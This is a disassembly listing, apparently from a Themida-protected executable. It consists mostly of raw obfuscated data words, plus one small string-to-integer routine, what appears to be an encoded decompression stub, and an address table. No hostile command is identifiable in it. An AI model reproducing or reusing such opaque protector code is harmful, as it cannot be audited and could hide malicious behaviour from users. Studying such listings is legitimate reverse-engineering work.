		dd 0ADD73CA4h, 4F810D02h, 155461BFh, 61605626h,	0C08B615Eh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 7BC35141h
		dd 1D1D90C2h, 0DA98F548h, 0CDBD8326h, 6071Ah, 0BD830975h
		dd 6071135h, 501A7400h,	8BC08B53h, 72F8185h, 81858906h
		dd 8D06072Fh, 9AE279Dh,	5BD3FF06h, 35BD8358h, 60711h, 53501874h
		dd 2F81858Bh, 85890607h, 6072F81h, 0AAC89D8Dh, 0D3FF0609h
		dd 0DE8585Bh, 4C000000h, 4E647691h, 1C134150h, 8260CA0h
		dd 68B0Fh, 8B0F0000h, 0
		dd 0FDDB805Ah, 0BF0FC08Bh, 0D0BF0FD8h, 1DADBD83h, 0F000607h
		dd 48E84h, 0BE800h, 2B6C0000h, 0C1BF6FC6h, 50F725B1h, 0B6BB6690h
		dd 0BD835B7Eh, 6072935h, 25840F02h, 0E9000000h,	0Dh, 93624B6h
		dd 0A02CBD53h, 7E045FCh, 51BD83C0h, 106072Ch, 6850Fh, 9D890000h
		dd 6072B35h, 2AE5BD83h,	0F000607h, 0EA84h, 3F75BB00h, 0BA604283h
		dd 289FC73Dh, 4B0E8D8Bh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 860C00C3h, 2CA18D31h
		dd 81660607h, 0FEC6ADC2h, 50006A01h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0CA5D7C99h
		dd 0A35720EFh, 6A5958Bh, 0E6800607h, 0C71C68BAh, 800F41B4h
		dd 17h,	6AEABA60h, 0BE92462h, 0BF000000h, 0A74F794Eh, 50D2791Bh
		dd 8161A025h, 0C79C2434h, 0D78A41B4h, 6AFF6Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 8D62A3C3h, 0FF20C612h, 7089195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8BB3B206h
		dd 710799Dh, 39958B06h,	61060704h, 60D3B70Fh, 572119BBh
		dd 0E8D8B0Eh, 6A06074Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0F514C352h,	8380DECCh
		dd 0FEA15158h, 50006A01h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 89B1A486h, 708199Dh, 0CD950906h
		dd 0E8060701h, 4, 80h, 7E952h, 81F0000h, 2E2C43CCh, 8A505A9Ch
		dd 24448BF3h, 0D78B6604h, 5A50008Bh, 4244489h, 0AE8h, 966BB500h
		dd 0E580F0F9h, 51E6052Ah, 0DF03BA66h, 0F585A5Ah, 487h
		dd 51BA6600h, 0FFF6AB3h, 95FFD1B7h, 6070891h, 6B6BBB66h
		dd 51006A61h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 0D2A77098h, 380F4C3Eh, 239DB529h, 0BD8D0607h
		dd 6070F2Dh, 8BD9BF0Fh,	9D891C4Fh, 6071DC1h, 8D89016Ah
		dd 6071B5Dh, 9E9h, 938C1100h, 0B21D4FCFh, 56502DB8h, 68E0Fh
		dd 8C0F0000h, 0
		dd 240C895Bh, 239DBD89h, 858D0607h, 60A34A8h, 0FF5EE380h
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 6D9D8BF0h, 0E9060721h, 10h, 814A2D81h, 0AD48E5EEh
		dd 0B6C30FFDh, 8E33DF3Dh, 6A204F8Bh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 584CC351h
		dd 5F20010h, 451958Bh, 958B0607h, 6071F99h, 9533036Ah
		dd 6072285h, 88E0F91h, 0F000000h, 282h,	505B5700h, 8B91D38Bh
		dd 718F595h, 8D93B606h,	0A34A885h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0A2977ABCh
		dd 6AD0FF21h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 3B0FC350h, 74B66AD2h, 0EE9h, 4D535900h
		dd 0ED9637C1h, 623DAB63h, 8DDD4D17h, 70F2DBDh, 6800F06h
		dd 3000000h, 72B6195h, 1C4F8B06h, 0AC5958Bh, 16A0607h
		dd 13399D8Bh, 0BA910607h, 74EC8B31h, 91F88A50h,	0A2F14FBAh
		dd 0A8858D54h, 0F060A34h, 689h,	11858900h, 0FF06070Ah
		dd 56006AD0h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 0CFCD5E61h, 0E916C959h, 4F8BA86Ah, 36AF920h
		dd 6850Fh, 85890000h, 60720ADh,	17830F50h, 0F000000h, 1181h
		dd 0CE900h, 0C35D0000h,	303C2F7Ch, 0C01A6810h, 0C89C956h
		dd 56006A24h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0CD33346Bh, 2D918D29h, 858D0607h, 60A34A8h
		dd 0D0FFD08Ah, 0D09CBA66h, 4B0E8D8Bh, 0BF0F0607h, 0F01FEDFh
		dd 488h, 8BBB6600h, 0E858BCFh, 8A06074Bh, 8B00FED9h, 719C195h
		dd 6A016A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 3182C351h, 0C197EF77h,	6199589h
		dd 57680607h, 0BBB287FAh, 7BF3090Dh, 0A8243481h, 0F54D7865h
		dd 34B2858Dh, 0BD89060Ah, 607217Dh, 83F8D0FFh, 732A1BDh
		dd 840F0006h, 0C9h, 0C16BB50h, 805B1E1Fh, 0BD83D6CFh, 60719BDh
		dd 0B2850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0B964C350h,	0B529E4ADh
		dd 6072B35h, 34BC8D8Dh,	6A060Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 3A6639C3h, 36A66A2h
		dd 7E8h, 1865A900h, 4CBCCAF8h, 5AFCD280h, 6A016Ah, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 232F9DC3h, 70AB995h,	89D1FF06h, 728618Dh, 66016A06h
		dd 8B894BBBh, 71F8595h,	0F016A06h, 68Fh, 299D8B00h, 0FF060712h
		dd 9CE8F9D1h, 8BFA545Eh, 719AD95h, 89206A06h, 71861B5h
		dd 29FF6A06h, 723A585h,	9195FF06h, 66060708h, 0B8D68Bh
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 9F81C350h, 5C23F73Eh, 0B752A7B8h
		dd 0C00B5A22h, 3D840Fh,	80510000h, 835B1FCEh, 71E3DBDh
		dd 840F0006h, 2Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 4BC35545h, 94DCD578h,	0FF527F19h, 72B0595h
		dd 8BF58A06h, 70E6985h,	39958B06h, 0C6060719h, 0DABA0000h
		dd 5849D9CCh, 1699501h,	66F80607h, 6AD98Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 5D420CC3h
		dd 9A98B520h, 0C1F6578Fh, 51840F04h, 8B000000h,	702DD95h
		dd 46E906h, 0EF800000h,	0F1B58BDBh, 6A060728h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 4CC9C356h, 0A36CDE00h, 0D3808631h, 80C6814Bh, 8B000011h
		dd 7030995h, 6C706h, 0BB000000h, 30C12076h, 55B5895Eh
		dd 0E9060732h, 13h, 0F6818263h,	822255Ah, 4FEE4B19h, 27411CC2h
		dd 835482FCh, 840F00F8h, 0ADAh,	0A358D31h, 7E90607h, 1D000000h
		dd 13B8B8F7h, 0F8836685h, 53850F01h, 0E8000001h, 11h, 1AF25F14h
		dd 0DCB239C2h, 0C5DF3F6Bh, 5EF4CED3h, 0B85BF8EAh, 0
		dd 0CE9h, 82691000h, 0F4F5AC3Fh, 1F313A1Fh, 0C00BF551h
		dd 0C6840Fh, 9D8B0000h,	6073029h, 12419D8Bh, 0F8830607h
		dd 0C6840F01h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 9ADFC353h, 11E95Ch
		dd 71040000h, 0C7D70689h, 0F2D38964h, 34426D66h, 839F9A88h
		dd 840F03F8h, 37h, 14E9h, 11682D00h, 36EC5948h,	0F75116A1h
		dd 0D6963EDCh, 0C6B190A6h, 0B805h, 850F0000h, 6, 0AC5958Bh
		dd 0BD8D0607h, 5B7974h,	66E7FFF5h, 0B8257FBAh, 1, 18C0Fh
		dd 8DF50000h, 5B7974BDh, 0C29EBB00h, 0BF0F7C38h, 6AE7FFD3h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 2A5BC352h, 7482DCBBh, 419ABD8Dh, 95030607h
		dd 60719E5h, 2DFE9h, 6BA6600h, 6985C7B4h, 506074Bh, 0F000000h
		dd 582h, 357FBA00h, 5B83786h, 0F000000h, 85h, 8F6E900h
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0F88349C3h, 0E5850F02h, 89000000h, 732ADBDh
		dd 3850F06h, 80000000h,	0B8B0DEh, 0BB000000h, 4A12C3F7h
		dd 840FC00Bh, 7Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0AEC35040h, 1F88372h,	0FF6F840Fh, 0BF0FFFFFh
		dd 3F883DBh, 0FF11840Fh, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 9C9E2C3h, 4A89AD7Ch
		dd 5A59D8Bh, 0CF800607h, 819589A6h, 2B060729h, 0A0BB66C0h
		dd 74BD8DA4h, 53005B79h, 5BD8BF0Fh, 8166E7FFh, 8D0A4DF2h
		dd 74392BDh, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0B2802725h, 56432EFDh, 0D58AB860h
		dd 8E0F0EBFh, 2, 2B615A57h, 72E5D95h, 1B2E906h,	95230000h
		dd 6072D81h, 0F03F883h,	4A85h, 0F2816600h, 0BD8D9592h
		dd 6074526h, 6840Fh, 8D890000h,	607009Dh, 187E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0C5F8A91Fh, 958BD1C6h, 6070D9Dh, 8166DC8Ah, 83D005EBh
		dd 850F05F8h, 30h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 51C35646h, 89CAFFEAh,	0B64A66C9h, 766E98Fh
		dd 95890000h, 6070C3Dh,	0F06F883h, 7E85h, 8E800h, 4E360000h
		dd 0AF0DB892h, 9D2945D4h, 6071911h, 1EBD8D5Ah, 6A060747h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 5051C351h, 0DAE9F5h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0F853CEC3h
		dd 0E896C8FFh, 0AE9DF23h, 28000000h, 138B04DEh,	3CB55C8Eh
		dd 0BD896076h, 6071E91h, 2E5DBD8Bh, 83610607h, 850F07F8h
		dd 27h,	32798D89h, 0BD8D0607h, 60723ADh, 0BE9h,	0D7C92800h
		dd 0D01C63D0h, 96DBE8FEh, 10FE9h, 5D9D8B00h, 8306071Ah
		dd 850F0AF8h, 60h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 17h, 61C35646h, 0F7B1EECh,	589h, 0E30BB00h
		dd 8E0F6F84h, 6, 2E359589h, 0BD8D0607h,	6074916h, 1B158D09h
		dd 19E90607h, 0E8000000h, 10h, 9E2DED10h, 41BCD5D8h, 0E76F3EC7h
		dd 0B8372300h, 5BD78B66h, 0E5B58957h, 0B906071Dh, 3E86D13Dh
		dd 284D958Bh, 3F830607h, 64840F00h, 56000000h, 2B25958Bh
		dd 305A0607h, 57006A0Fh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 0D608B919h, 13E910h, 0AC200000h
		dd 8F790EE4h, 5504103Ch, 854D4FFFh, 0C752BCF0h,	0B3C9D1B9h
		dd 7E9477Fh, 0B6000000h, 0CA05462Eh, 9FE93F27h,	8BFFFFFFh
		dd 702F19Dh, 5BD8906h, 5F060705h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 18h, 65C35141h, 9868573h, 4B12BD89h
		dd 8B660607h, 318D8DD1h, 8A060714h, 0DDB5FFFAh,	6A06072Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 0DD8BC353h, 28C0F40h, 8B000000h, 0DABF0FDEh
		dd 9FA8858Dh, 8D500609h, 751EBBDh, 478D8D06h, 0B806076Dh
		dd 54831ABCh, 730CF2Bh,	4947C8D0h, 0B58DF875h, 6076CCCh
		dd 6D5F8D8Dh, 0CF2B0607h, 0C933A4F3h, 0B8h, 74C00B00h
		dd 3DBD8346h, 6071Eh, 95FF0674h, 6072B05h, 4B12B58Bh, 858D0607h
		dd 6099FA8h, 858DD0FFh,	607412Fh, 85C7D0FFh, 60710E9h
		dd 1, 133DA58Bh, 0B58B0607h, 60706C1h, 2945AD8Bh, 0C0330607h
		dd 8B000CC2h, 708E595h,	0D1BF0F06h, 22B5BD83h, 0F000607h
		dd 2184h, 10CF8000h, 1F2195FFh,	0E8600607h, 0Ah, 0C64727A2h
		dd 46EB5FC3h, 895A0678h, 7230585h, 0BD836106h, 6070A85h
		dd 0CC850F00h, 2B000001h, 72AE99Dh, 5D9D8B06h, 83060703h
		dd 719BDBDh, 850F0106h,	1B3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 0ABC35040h,	6FCEFC93h, 2B6ECD77h
		dd 99958BC8h, 83060728h, 71DC5BDh, 840F0006h, 17Bh, 2A2D9D8Bh
		dd 0BD830607h, 6074B65h, 68840F00h, 8B000001h, 72E359Dh
		dd 59D8906h, 8D06072Fh,	99FA885h, 0FE906h, 0A6C10000h
		dd 0E0DB6259h, 0C731727Dh, 0C08A452Eh, 12B58BE6h, 6A06074Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 18042444h
		dd 43000000h, 0CE81C353h, 60BCE59Ah, 0C246BABFh, 11958B3Bh
		dd 61060709h, 6AD0FFF5h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 826FC353h, 348DC415h
		dd 65D9D8Bh, 85C60607h,	60709CDh, 0A1950354h, 0E8060703h
		dd 4, 0FF4EBEF4h, 0DA8A5250h, 810F310Fh, 2, 585A5A57h
		dd 0A7BB6650h, 24448BF9h, 8BA0B204h, 89DE8B00h,	8B042444h
		dd 0BD8958D3h, 6070439h, 59DB5FFh, 9D8B0607h, 60707C1h
		dd 3963858Dh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 66FA61C3h, 0D0FFDF8Bh, 0BBD3BF0Fh
		dd 22DED3DDh, 6651006Ah, 5A124ABAh, 8166FF6Ah, 0FF6B6DEAh
		dd 0A8C0FD0h, 0E9000000h, 5, 410055F7h,	0DB5FF23h, 6A060719h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 0FB4C355h, 68Fh, 219D2900h, 33060719h, 704399Dh
		dd 0DD95FF06h, 0B606072Bh, 5E91Fh, 0C5F20000h, 8BE29208h
		dd 74B12B5h, 0D59D8906h, 0BA06070Bh, 7414C5EFh,	0D18D89C3h
		dd 60060710h, 2609BD01h, 0B6500607h, 8B6158D8h,	70E69B5h
		dd 9D8B6006h, 60728BDh,	0FF60B61h, 0F84h, 8E0F00h, 0C6000000h
		dd 9D8B0006h, 6071375h,	4B1A8589h, 6A0607h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 0A950A6C3h
		dd 0F883B2FBh, 0E7840F00h, 0BB000002h, 6D4D87FDh, 0B8h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 8BFC2363h, 706C995h, 0F88306h, 0B0840Fh
		dd 0BF0F0000h, 2F883DAh, 4B850Fh, 8E90000h
		dd 32000000h, 6E55AD90h, 8BB31643h, 72C719Dh, 95858D06h
		dd 31060741h, 72A899Dh,	9292D06h, 9D8B0000h, 6071139h
		dd 0CE850h, 0F5FE0000h,	3E133BFEh, 2742BE83h, 0A0BAA3A7h
		dd 5B3422DEh, 0BA240489h, 6DFBFB0Bh, 0B8C3h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 333754C3h, 30AC0C66h, 9E950A0h, 81000000h, 0AF3477C0h
		dd 0DBF69095h, 21CE95Bh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 1B81CC3h, 89000000h
		dd 70661BDh, 9ABD8D06h,	89060741h, 70C218Dh, 0AAE906h
		dd 850F0000h, 4, 55EDBA66h, 459D29h, 0F8830607h, 36850F02h
		dd 81000000h, 3AF990EAh, 92BD8D51h, 80060743h, 0EE8077EAh
		dd 7AE93Ch, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 170424h, 52420000h, 0E6F874C3h, 3F883B9h, 33850Fh, 0EE90000h
		dd 69000000h, 0C14D5359h, 63ED9637h, 17623DABh,	26BD8D4Dh
		dd 66060745h, 31E9D98Bh, 89000000h, 72A419Dh, 68D0F06h
		dd 89000000h, 701C5BDh,	5F88306h, 16850Fh, 0BA660000h
		dd 0B5E98B93h, 66000000h, 0DD84F381h, 3DB52951h, 5A060712h
		dd 0B9DF8B57h, 3E86D13Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 16h, 8DC35343h, 3F834186h,	79840F00h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0DD3EC353h, 0E280DE55h, 6A0F3095h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 37FEC357h, 370DB02Dh, 9589F372h, 6072A35h, 870FC9D1h
		dd 3, 47DFB70Fh, 10E9h,	9CCC9300h, 2ADCE35Ah, 11AE1A96h
		dd 99028116h, 0FF84E91Fh, 8D89FFFFh, 6070FB5h, 0F05F883h
		dd 8985h, 0F98A5700h, 0D98C665Ah, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 2C35545h, 81852919h, 0F606071Eh
		dd 850F04C1h, 48h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0A1C35646h, 23A1ADE4h, 95297C66h, 607223Dh
		dd 0B8h, 0DE900h, 86860000h, 9B54FFB4h,	6621085Ah, 0E93B7952h
		dd 12h,	2DCFBA66h, 1FBD858Bh, 0E0FF0607h, 0FA19D29h, 0BD830607h
		dd 6072BDDh, 73850F00h,	6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0C64BC350h
		dd 0EE36C38Fh, 6ABA468Ch, 5024AA44h, 1A840Fh, 0E8600000h
		dd 10h,	2246C578h, 0D344956Bh, 0A9BA09DFh, 0E294AF4Dh
		dd 61585159h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 67D1C356h, 13E815h
		dd 17EB0000h, 56912C5Ch, 0C2AAE3E8h, 791D5429h,	335805BCh
		dd 0A9950111h, 5B060732h, 9CD85C6h, 0FC450607h,	0D23A4F68h
		dd 9BA66DCh, 2434810Dh,	52A05326h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 90C35343h, 59DB5FFh, 0B5310607h
		dd 6072299h, 0F0D9529h,	858D0607h, 6073963h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0D9C35343h, 6AD0FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 65F0C4C3h, 57AA66A9h, 49BD8957h, 5B060722h, 2BDD8589h
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 5F4C6EC3h, 8D89AFBAh, 6072BE9h, 57006A58h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 4560BCBEh, 90A78ECCh, 1F699D03h, 0BD830607h,	6074B69h
		dd 61840F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 2F06C353h, 9522C066h
		dd 190DB5FFh, 81660607h, 0FFAFE2E2h, 72BDD95h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1B04h, 0C3574700h
		dd 20147FCBh, 0D997F7C2h, 68C0Fh, 85290000h, 607039Dh
		dd 0F00F883h, 0C185h, 83D68B00h, 71319BDh, 840F0006h, 82h
		dd 0AE9h, 0C8600900h, 8A2A2811h, 0E92926DFh, 12h, 0DE4B29E3h
		dd 65667A45h, 0F463688Fh, 5DD9D91Dh, 0B5FF6745h, 6071319h
		dd 0EC8B4FBAh, 1B834h, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 80F307C3h, 0C5E9F3CEh
		dd 6A000001h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 9BD8C353h, 9985315Eh, 0F06072Fh
		dd 0B5FFD9BFh, 607190Dh, 1DB19D89h, 0B5FF0607h,	607190Dh
		dd 1ED9D89h, 0B5FF0607h, 6072BDDh, 1389BD89h, 8B660607h
		dd 172E9DFh, 8A530000h,	6A5F5AF0h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0E033C352h
		dd 0BD8341B7h, 6070581h, 0C6850F00h, 6A000000h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 0F0F3C352h, 5CE57ABAh, 0ED950B5Ah, 8B06071Fh, 708F995h
		dd 0CD85C606h, 4D060709h, 68E0Fh, 9D090000h, 6071FEDh
		dd 39633368h, 0EE8EAh, 3780000h, 44D9FEA3h, 85C9B6A7h
		dd 9A5C2534h, 2B23BB66h, 2434815Ah, 4E0C159Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F5C35141h, 89C7D6A9h
		dd 70EFD95h, 85B5FF06h,	0B6060710h, 63858D81h, 66060739h
		dd 0FFBC52BAh, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 81858977h, 89060705h
		dd 729E9BDh, 0B806h, 81660000h,	89DEF7E3h, 74B12BDh, 0EE806h
		dd 48420000h, 0A9C22AD0h, 0CAF81865h, 24254CBCh, 4719509h
		dd 0B5A0607h, 11840FC0h, 81000000h, 0C8B0ABDAh,	3EE921h
		dd 0B5290000h, 6072D51h, 2BDDB5FFh, 9D330607h, 607142Dh
		dd 9FA8858Dh, 958B0609h, 60718ADh, 0BE666050h, 0CE8B3241h
		dd 24048961h, 0E800Fh, 89600000h, 71331BDh, 858D8906h
		dd 6106070Dh, 0BD8D5650h, 60751EBh, 775A8D8Dh, 0BCB80607h
		dd 2B748323h, 0D00730CFh, 754947C8h, 83585EF8h,	71319BDh
		dd 6740006h, 21518D8Bh,	0C9330607h, 0B8h, 0FC00B00h, 9984h
		dd 3DBD8300h, 6071Eh, 95FF0674h, 6072B05h, 0B8h, 75C00B00h
		dd 1ABD8309h, 106074Bh,	0BD830974h, 6074B1Ah, 8B0E7502h
		dd 74B12B5h, 0A8858D06h, 0FF06099Fh, 2F858DD0h,	0FF060741h
		dd 35BD83D0h, 2060729h,	0A58B2F75h, 607133Dh, 1319858Bh
		dd 4890607h, 0E985C724h, 1060710h, 8B000000h, 74B16B5h
		dd 45AD8B06h, 0B8060729h, 1, 0EB000CC2h, 0E985C700h, 1060710h
		dd 8B000000h, 7133DA5h,	0C1B58B06h, 8B060706h, 72945ADh
		dd 0C2C03306h, 0BD83000Ch, 60722B5h, 830F7400h,	71F21BDh
		dd 6740006h, 1F2195FFh,	0B58B0607h, 6074B12h, 53006AC3h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0C406E464h, 0D7BA66C4h, 0D22BF5F9h, 137D9589h
		db 7, 6
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		push	edx
		push	esi
		mov	edi, [ebp+8]
		xor	eax, eax
		jmp	short loc_544036
; ---------------------------------------------------------------------------


loc_544034:				; CODE XREF: Themida_:00544039j
		inc	eax
		inc	edi


loc_544036:				; CODE XREF: Themida_:00544032j
		cmp	byte ptr [edi],	0
		jnz	short loc_544034
		xor	ecx, ecx
		mov	edi, [ebp+8]
		jmp	short loc_544065
; ---------------------------------------------------------------------------


loc_544042:				; CODE XREF: Themida_:00544067j
		xor	edx, edx
		mov	dl, [edi]
		sub	dl, 30h
		mov	esi, eax
		dec	esi
		push	eax
		mov	eax, edx
		push	ebx
		mov	ebx, 0Ah
		jmp	short loc_54405A
; ---------------------------------------------------------------------------


loc_544057:				; CODE XREF: Themida_:0054405Dj
		mul	ebx
		dec	esi


loc_54405A:				; CODE XREF: Themida_:00544055j
		cmp	esi, 0
		ja	short loc_544057
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_544065:				; CODE XREF: Themida_:00544040j
		or	eax, eax
		jnz	short loc_544042
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 7151595h, 0D78B6606h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 7AC35545h, 3A7B4F1Dh,	0BAE66B65h, 0C5296DBBh
		dd 0E9C18B34h, 1ADh, 24748B60h,	247C8B24h, 80B2FC28h, 8846068Ah
		dd 2BB4707h, 2000000h, 5850FD2h, 8A000000h, 0D2124616h
		dd 0FFE2830Fh, 0D202FFFFh, 5850Fh, 168A0000h, 0FD21246h
		dd 6A83h, 2C03300h, 5850FD2h, 8A000000h, 0D2124616h, 12A830Fh
		dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C0h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 840FC013h
		dd 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h, 0B8FFFFFFh
		dd 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh, 34850F00h
		dd 0B9000000h, 1, 850FD202h, 5,	1246168Ah, 2C913D2h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh, 0F3F52BF7h
		dd 8E95EA4h, 48FFFFFFh,	8A08E0C1h, 0E88B4606h, 1B9h, 0FD20200h
		dd 585h, 46168A00h, 0C913D212h,	850FD202h, 5, 1246168Ah
		dd 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh, 3D0000h, 0F000005h
		dd 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h, 83FFFFFEh
		dd 870F7FF8h, 3, 5602C183h, 0F02BF78Bh,	0E95EA4F3h, 0FFFFFE9Bh
		dd 3346068Ah, 1E8C0C9h,	17840Fh, 0D1830000h, 56E88B02h
		dd 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh, 247C8928h
		dd 8C2611Ch, 929BA00h, 12E90000h, 0FE00021Bh, 68005AD3h
		dd 3F0012FFh, 28025900h, 0FE025900h, 0C005AD3h,	5ACFh
		dd 46000000h, 2000002h,	1000000h, 4000000h, 0BF000000h
		dd 0FA4CC7h, 5 dup(0)
		dd 610054F9h, 430054D5h, 80005453h, 0DA00544Dh,	6A0054BFh
		dd 0CD005451h, 0AA00545Dh, 0DD0054F2h, 130054FCh, 0EF0054A3h
		dd 7C0054F9h, 0BA005471h, 630054F7h, 0BF005459h, 7200547Dh
		dd 9400546Fh, 0EB00545Ah, 8C00549Eh, 0F4005450h, 0DB0054C6h
		dd 0E9005461h, 5D0054BDh, 0EA0054A7h, 1E005475h, 0DF005500h
		dd 58005447h, 0FD00549Bh, 0C70054DEh, 0DC00545Bh, 0EF0054C3h
		dd 520054F1h, 500054B6h, 0ED0054C8h, 5F005464h,	2E005491h
		dd 6C0054BCh, 0E70054CAh, 58005457h, 0F3005453h, 6800549Ch
		dd 350054A1h, 690054D7h, 4F00545Fh, 0F3005497h,	6B0054C0h
		dd 450054BFh, 0B900546Eh, 0C600548Eh, 0C6005488h, 800546Ah
		dd 800547Ch, 9C005495h,	790054BDh, 0D00054E4h, 570054A6h
		dd 5D0054D7h, 23005459h, 6C005467h, 79005483h, 0F60054F8h
		dd 0B0054B4h, 41005446h, 2800548Ah, 400548Bh, 0DD005449h
		dd 0EC0054CAh, 0A40054DAh, 330054B2h, 31005483h, 3A0054E8h
		dd 2D0054ADh, 9005471h,	480054DBh, 1E005501h, 0F100546Ch
